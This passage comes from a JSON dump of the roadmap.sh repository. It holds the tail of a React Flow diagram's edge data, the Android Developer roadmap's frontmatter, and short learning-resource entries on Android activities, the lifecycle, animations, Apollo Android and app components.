\"hWA7RtuqltMTmHdcCnmES\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"0etAs56EeBfh_0IlAaSra\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": false,\n      \"id\": \"ts38Q2ceHs60TJscUBZVE\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jZ67HhVRelJaxjsCckSSI\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"h6ceO0kiBIxNRkPzN3hBY\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"ZiMV7umyPdhy3JJDcopR-\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jZ67HhVRelJaxjsCckSSI\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"_JlT9oKQ6Yu4UX6l19G8P\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"WI-MhbxrehFcVwyGJ5CQJ\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"jZ67HhVRelJaxjsCckSSI\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"qUrLBzvXvJOg53HBfjrOI\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"5Z9o-b3vBA-ITFg86zzYM\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"Suws-7f_6Z1ChpfcnxX2M\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-5Z9o-b3vBA-ITFg86zzYMx2-Suws-7f_6Z1ChpfcnxX2Mw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Suws-7f_6Z1ChpfcnxX2M\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"qIzUv8-GgQnkqChEdgD50\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-Suws-7f_6Z1ChpfcnxX2Mz2-qIzUv8-GgQnkqChEdgD50y1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Suws-7f_6Z1ChpfcnxX2M\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"RBABbkzD_uNFwEO-hssZO\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-Suws-7f_6Z1ChpfcnxX2Mz2-RBABbkzD_uNFwEO-hssZOy2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Suws-7f_6Z1ChpfcnxX2M\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"HlUUGj3dOZ68t4gIjerXh\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-Suws-7f_6Z1ChpfcnxX2Mx2-HlUUGj3dOZ68t4gIjerXhw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"HlUUGj3dOZ68t4gIjerXh\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"ZRGsokU313Ky-anWbWK6q\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-HlUUGj3dOZ68t4gIjerXhy2-ZRGsokU313Ky-anWbWK6qz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"HlUUGj3dOZ68t4gIjerXh\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"jl1FsQ5-WGKeFyaILNt_p\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-HlUUGj3dOZ68t4gIjerXhy2-jl1FsQ5-WGKeFyaILNt_pz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"HlUUGj3dOZ68t4gIjerXh\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"j69erqfosSZMDlmKcnnn0\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-HlUUGj3dOZ68t4gIjerXhy2-j69erqfosSZMDlmKcnnn0z1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"HlUUGj3dOZ68t4gIjerXh\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"cNeT1dJDfgn0ndPzSxhSL\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-HlUUGj3dOZ68t4gIjerXhy2-cNeT1dJDfgn0ndPzSxhSLz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"HlUUGj3dOZ68t4gIjerXh\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"FVxNjbDBxgf6vkZWw1Awt\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-HlUUGj3dOZ68t4gIjerXhy2-FVxNjbDBxgf6vkZWw1Awtz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"HlUUGj3dOZ68t4gIjerXh\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"5m_7DvInF8C_4Ml1xVI6L\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-HlUUGj3dOZ68t4gIjerXhy2-5m_7DvInF8C_4Ml1xVI6Lz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"HlUUGj3dOZ68t4gIjerXh\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"5s1CqsYCOXjNroDHaGKGa\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-HlUUGj3dOZ68t4gIjerXhz2-5s1CqsYCOXjNroDHaGKGay1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"5s1CqsYCOXjNroDHaGKGa\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"5Li8J5iR_ZuyIlxX0LYei\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-5s1CqsYCOXjNroDHaGKGay2-4_e76QafrB419S2INOeKdw2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"kc6buUsLAeZeUb4Tk0apM\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"HgRdgi2Hu4C8YLG5PXfoo\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-kc6buUsLAeZeUb4Tk0apMz2-HgRdgi2Hu4C8YLG5PXfooy1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"kc6buUsLAeZeUb4Tk0apM\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"T7q_quNaIAuGi96OdnDT1\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-kc6buUsLAeZeUb4Tk0apMz2-T7q_quNaIAuGi96OdnDT1y2\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"sVXZrBCsiSzWBBYWTm-nQ\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"PShueM-HfMGu2Jy1dt73g\",\n      \"selected\": false,\n      \"type\": \"smoothstep\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"STQQbPa7PE3gbjMdL6P-t\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"sVXZrBCsiSzWBBYWTm-nQ\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-STQQbPa7PE3gbjMdL6P-tx2-sVXZrBCsiSzWBBYWTm-nQw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"kc6buUsLAeZeUb4Tk0apM\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"sVXZrBCsiSzWBBYWTm-nQ\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-kc6buUsLAeZeUb4Tk0apMx2-sVXZrBCsiSzWBBYWTm-nQw1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"5Li8J5iR_ZuyIlxX0LYei\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"4_e76QafrB419S2INOeKd\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-5Li8J5iR_ZuyIlxX0LYeix2-4_e76QafrB419S2INOeKdw1\",\n      \"selected\": false\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"5Li8J5iR_ZuyIlxX0LYei\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"nwuVlPmzwJ17mtVQ8Hi9w\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-5Li8J5iR_ZuyIlxX0LYeiy2-nwuVlPmzwJ17mtVQ8Hi9wz1\",\n      \"selected\": false\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"4_e76QafrB419S2INOeKd\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"60Vm-77rseUqpMiFvp-dA\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-4_e76QafrB419S2INOeKdz2-60Vm-77rseUqpMiFvp-dAx1\",\n      \"selected\": false\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"4_e76QafrB419S2INOeKd\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"xV475jHTlLuHtpHZeXb7P\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-4_e76QafrB419S2INOeKdz2-xV475jHTlLuHtpHZeXb7Pw1\",\n      \"selected\": false\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"4_e76QafrB419S2INOeKd\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"jePGzTejFe4ryA5qFFmjl\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": false,\n      \"id\": \"reactflow__edge-4_e76QafrB419S2INOeKdx2-jePGzTejFe4ryA5qFFmjlw2\"\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jePGzTejFe4ryA5qFFmjl\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"d1G8QZ82y7ez7rLskMZiv\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-jePGzTejFe4ryA5qFFmjlz2-d1G8QZ82y7ez7rLskMZivw2\",\n      \"selected\": false\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"0fNQWRxst8xRstIfPaPO6\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"PKql1HY0PLMfp50FRELXL\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-0fNQWRxst8xRstIfPaPO6y2-PKql1HY0PLMfp50FRELXLz1\",\n      \"selected\": false\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"0fNQWRxst8xRstIfPaPO6\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"GWq3s1iTxQOp1BstHscJ9\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-0fNQWRxst8xRstIfPaPO6y2-GWq3s1iTxQOp1BstHscJ9z1\",\n      \"selected\": false\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"0fNQWRxst8xRstIfPaPO6\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"Bfg4So5RlI09zFNcburJd\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-0fNQWRxst8xRstIfPaPO6y2-Bfg4So5RlI09zFNcburJdz1\",\n      \"selected\": false\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"0fNQWRxst8xRstIfPaPO6\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"A4kdaj6AFueUgPI7hwKi5\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-0fNQWRxst8xRstIfPaPO6y2-A4kdaj6AFueUgPI7hwKi5z1\",\n      \"selected\": false\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Yb6aKJMMCxU1QVltWg3Dr\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"cFYZ2C7yNnY6NHKUNP2Z4\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-Yb6aKJMMCxU1QVltWg3Dry2-cFYZ2C7yNnY6NHKUNP2Z4z2\",\n      \"selected\": false\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"cFYZ2C7yNnY6NHKUNP2Z4\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"ZEdn2yy-IwHN3kOYr2ZbC\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-cFYZ2C7yNnY6NHKUNP2Z4y2-ZEdn2yy-IwHN3kOYr2ZbCz1\",\n      \"selected\": false\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"ZEdn2yy-IwHN3kOYr2ZbC\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"77F9F3oI5CPgwgM_hxWfa\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-ZEdn2yy-IwHN3kOYr2ZbCz2-77F9F3oI5CPgwgM_hxWfay1\",\n      \"selected\": false\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"77F9F3oI5CPgwgM_hxWfa\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"ZOQm5OlzCA-h_yxywwDrW\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-77F9F3oI5CPgwgM_hxWfay2-ZOQm5OlzCA-h_yxywwDrWz1\",\n      \"selected\": false\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"ZOQm5OlzCA-h_yxywwDrW\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"6KbSUAoT_jTudFoIbwMpA\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-ZOQm5OlzCA-h_yxywwDrWx2-6KbSUAoT_jTudFoIbwMpAy1\",\n      \"selected\": false,\n      \"type\": \"step\"\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"6KbSUAoT_jTudFoIbwMpA\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"kc6buUsLAeZeUb4Tk0apM\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-6KbSUAoT_jTudFoIbwMpAy2-kc6buUsLAeZeUb4Tk0apMw2\",\n      \"selected\": false\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"6KbSUAoT_jTudFoIbwMpA\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"ACUJlDDR0jqEohsFzWEoQ\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-6KbSUAoT_jTudFoIbwMpAw2-ACUJlDDR0jqEohsFzWEoQx1\",\n      \"selected\": false\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"kc6buUsLAeZeUb4Tk0apM\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"_FSlD_qTz5Xo0x3pB6sZI\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-kc6buUsLAeZeUb4Tk0apMy2-_FSlD_qTz5Xo0x3pB6sZIz2\",\n      \"selected\": false\n    }\n  ]\n}"
  },
  {
    "path": "src/data/roadmaps/android/android.md",
    "content": "---\npdfUrl: '/pdfs/roadmaps/android.pdf'\nrenderer: 'editor'\norder: 4.7\nbriefTitle: 'Android'\nbriefDescription: 'Step by step guide to becoming an Android Developer in 2025'\ntitle: 'Android Developer'\ndescription: 'Step by step guide to becoming an Android developer in 2025'\nhasTopics: true\nisNew: false\ndimensions:\n  width: 968\n  height: 2070\nschema:\n  headline: 'Android Developer Roadmap'\n  description: 'Learn how to become a Android Developer with this interactive step by step guide in 2025. We also have resources and short descriptions attached to the roadmap items so you can get everything you want to learn in one place.'\n  imageUrl: 'https://roadmap.sh/roadmaps/android.png'\n  datePublished: '2023-01-24'\n  dateModified: '2023-10-24'\nseo:\n  title: 'Android Developer Roadmap: Learn to become an Android developer'\n  description: 'Community driven, articles, resources, guides, interview questions, quizzes for android development. Learn to become a modern Android developer by following the steps, skills, resources and guides listed in this roadmap.'\n  keywords:\n    - 'guide to becoming an android developer'\n    - 'android developer roadmap'\n    - 'android developer roadmap 2025'\n    - 'android roadmap'\n    - 'kotlin developer roadmap'\n    - 'android roadmap 2025'\n    - 'become android developer'\n    - 'android application development'\n    - 'android application development roadmap'\n    - 'android application development 2025'\n    - 'android developer skills'\n    - 'android skills test'\n    - 'skills for android development'\n    - 'learn android development'\n    - 'what is android'\n    - 'android quiz'\n    - 'android interview questions'\nrelatedRoadmaps:\n  - 'react-native'\n  - 'flutter'\n  - 'java'\n  - 'spring-boot'\n  - 'rust'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\ntags:\n  - 'roadmap'\n  - 'main-sitemap'\n  - 'role-roadmap'\n---"
  },
  {
    "path": "src/data/roadmaps/android/content/activity-lifecycle@FVg438cVBBzqJFkGWVbQM.md",
    "content": "# Activity Lifecycle\n\nThe **Activity Lifecycle** in Android represents a series of states or events that an activity can go through from its creation to its destruction. The primary states or events are `onCreate()`, `onStart()`, `onResume()`, `onPause()`, `onStop()`, `onDestroy()`, and `onRestart()`. The method `onCreate()` is called when the activity is first created, followed by `onStart()` when the activity becomes visible to the user. The `onResume()` method executes when the user starts interacting with the application. `onPause()` and `onStop()` methods are invoked when the application is no longer in the foreground or visible to the user. The `onDestroy()` method is used when the activity is being completely removed from the memory. The `onRestart()` method is called after the system stops the activity and is about to start it again. The proper handling of these states ensures the efficient use of resources and a smooth user experience.\n\nVisit the following resources to learn more:\n\n- [@official@Activity Lifecycle](https://developer.android.com/guide/components/activities/activity-lifecycle)"
  },
  {
    "path": "src/data/roadmaps/android/content/activity@nwuVlPmzwJ17mtVQ8Hi9w.md",
    "content": "# Activity\n\n`Activity` in Android is a crucial component that represents a single screen with a user interface. It is just like a window in a desktop application. Android apps are typically made up of one or more activities, each having its interface which allows user interaction. When an app is launched, an instance of `Activity` is created, starting the lifecycle of that app. Every activity has its own lifecycle (create, start, resume, pause, stop, destroy) that keeps the state of a user's progress, and Android manages these states automatically. Activities can also have `Intent`, which allows them to interact with other components, such as starting another activity or getting a result from that activity.\n\nVisit the following resources to learn more:\n\n- [@official@Android Activity](https://developer.android.com/reference/android/app/Activity)\n- [@article@Mastering Android Activities](https://medium.com/deuk/mastering-the-android-activity-lifecycle-best-practices-1d10f15d060a)"
  },
  {
    "path": "src/data/roadmaps/android/content/animations@Xn1VQ-xOT67ZfJJTM4r1p.md",
    "content": "# Animations\n\n`Animations` can add visual cues that notify users about what's going on in your app. They are especially useful when the UI changes state, such as when new content loads or new actions become available. Animations also add a polished look to your app, which gives it a higher quality look and feel.\n\nVisit the following resources to learn more:\n\n- [@official@Google developers: Animations](https://developer.android.com/develop/ui/views/animations/overview)\n- [@video@Google developers: Animations](https://www.youtube.com/watch?v=N_x7SV3I3P0)"
  },
  {
    "path": "src/data/roadmaps/android/content/apollo-android@ww0fTbdXwVr-QIOClU7ng.md",
    "content": "# Apollo-Android\n\n**Apollo Android** is a set of tools for using GraphQL with Android, made by the Apollo community developers. It's fully written in Kotlin and it was designed to seamlessly integrate with any Android app, making fetching data across network and handling data in the client-side a breeze. Apollo Android runs your queries and mutations and returns results as generated Kotlin types. It also normalizes your data and caches your results for further speed enhancements. It operates both on Android and Kotlin/JVM backend environment. It's also coroutines-first making handling concurrency easy and effective. To use Apollo Android, you'll set up the plugin, point it at your GraphQL schema, and write GraphQL queries.\n\nVisit the following resources to learn more:\n\n- [@official@Apollo Android](https://www.apollographql.com/docs/kotlin/v2/)\n- [@official@Apollo Docs](https://www.apollographql.com/docs/kotlin/)\n- [@opensource@apollographql/apollo-kotlin - GraphQL for Android](https://github.com/apollographql/apollo-kotlin)"
  },
  {
    "path": "src/data/roadmaps/android/content/app-components@5Li8J5iR_ZuyIlxX0LYei.md",
    "content": "# App Components\n\nAndroid apps are primarily made up of five different types of components:\n\n1.  **Activities**: These are individual screens that a user can interact with. Any UI action like touching a button or swiping a screen will usually take place within an activity.\n    \n2.  **Services**: Unlike activities, services run in the background and don't have a user interface. They’re used for repetitive or long running operations, like playing music or pulling in a feed of data from a server.\n    \n3.  **Broadcast Receivers**: These are event listeners. The Android operating system uses them to respond to system-wide events.\n    \n4.  **Content Providers**: They manage and share app data with other apps installed on the device. For security, data is not generally shared across apps.\n    \n5.  **Intents**: These serve as messages or commands to the Android system. They're used to signal to the Android system that certain events have occurred.\n\nVisit the following resources to learn more:\n\n- [@official@App Fundamentals](https://developer.android.com/guide/components/fundamentals)\n- [@article@Android App Components](https://medium.com/android-hunger/android-app-components-activities-fragments-and-intents-ed7373455555)"
  },
  {
